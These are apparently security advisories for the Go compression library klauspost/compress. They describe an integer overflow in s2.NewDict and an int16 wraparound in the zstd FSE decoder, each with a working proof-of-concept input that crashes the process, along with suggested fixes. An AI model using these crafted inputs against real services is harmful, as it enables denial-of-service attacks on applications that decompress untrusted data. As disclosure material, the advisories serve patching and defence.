Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name: github.com/klauspost/compress/s2 - Ecosystem: Go - Affected versions: <= v1.18.6 (all versions with NewDict function)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil }
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
go func Load32I Indexer uint32 { return (uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) }
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
go package main
import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" )
func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer }
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
go if r > math.MaxInt64 { return nil } d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source: s2/dict.go lines 59-61 (vulnerability), s2/encodeall.go line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits Christopher Linke / https://github.com/celinke97/
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.
Summary
A crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.
Released in https://github.com/klauspost/compress/releases/tag/v1.20.2
Details
The panic is in the FSE decoder that huff0.ReadTable uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.
1. A count that doesn't fit is accepted. readNCount permits a tableLog up to 15 (tablelogAbsoluteMax, checked at fse/decompress.go:54), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an int16 at fse/decompress.go:126, where 32768 wraps to −32768. The validation only looks at the int32 running totals (remaining and gotTotal), which still match, so the bad value passes. The crafted second block produces norm = [0, -32768], symbolLen = 2.
2. The decode table is built empty, with no error. In buildDtable, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop for i := 0; i < int(v); i++ runs zero times for a negative v. position never advances, so the position != 0 guard passes as well.
3. Stale state from the previous block is reused. huff0 shares one fse.Scratch across both blocks, and allocDtable reuses decTable and ct.stateTable without clearing them. So the table is rebuilt on top of block 1's symbols and symbolNext values. Many cells end up with nbBits == 0, because the leftover nextState is ≥ 32768.
At decode time, every symbol's count is below largeLimit, so zeroBits stays false and decompress takes the nextFast path. On a cell with nbBits == 0, getBitsFast(0) shifts by (64-0)&63 == 0 and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [d.dt[d.state]](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics:
panic: runtime error: index out of range [33077] with length 32768
Both blocks are needed. With a fresh Scratch, every cell would be symbol 0 with symbolNext 0, highBits(0) would underflow, newState would reach 32768, and the newState >= tableSize guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.
The underlying bug is the int16 storage combined with a tableLog allowed to reach 15. The C reference uses short too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. huff0.ReadTable doesn't enforce that 6-bit bound.
A fix: reject a count of 1<<15 (or nbBits > 14) in readNCount, and enforce the weight-table tableLog in huff0. Clearing the reused table would also turn the panic into an error.
Proof of concept
Run the following repro:
package compression
import ( "bytes" "slices" "testing"
"github.com/klauspost/compress/zstd" "github.com/stretchr/testify/require" )
func TestDecodeAll(t testing.T) { // zstdFSEPanic is a crafted two-block zstd frame that makes // github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an // out-of-range index in fse.nextFast rather than returning an error. Cross-block // FSE table-state carryover lets the second block's malformed Huffman-weight // table pass the decoder's guard and overflow the decode table. zstdFSEPanic := slices.Concat( []byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f}, bytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37), []byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a}, bytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365), []byte{0x8c, 0x31}, bytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365), []byte{0x63, 0x2c}, bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365), []byte{0x31, 0x46}, bytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365), []byte{0x31, 0x06, 0x00}, )
decoder, err := zstd.NewReader(nil) require.NoError(t, err)
dst := make([]byte, 1001024) , err = decoder.DecodeAll(zstdFSEPanic, dst) require.NoError(t, err) }
Outputs: panic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]
goroutine 36 [running]: testing.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0}) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0 testing.tRunner.func1() /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318 panic({0x100c2b7c0?, 0x2472599b62a0?}) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c github.com/klauspost/compress/fse.(decoder).nextFast(...) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372 github.com/klauspost/compress/fse.(Scratch).decompress(0x247259981008) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08 github.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64 github.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130 github.com/klauspost/compress/zstd.(blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550 github.com/klauspost/compress/zstd.(blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34 github.com/klauspost/compress/zstd.(blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c github.com/klauspost/compress/zstd.(frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170 github.com/klauspost/compress/zstd.(Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000}) /Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410 github.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8) /Users/joshua.kim/workspace/avalanchego/utils/compression/zstdfsepanictest.go:40 +0x498 testing.tRunner(0x247259a9a6c8, 0x100c4ae80) /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4 created by testing.(T).Run in goroutine 1 /Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8
Impact
This is a panic that callers cannot guard against with error handling. This should be a DOS for most users.
compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.
compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.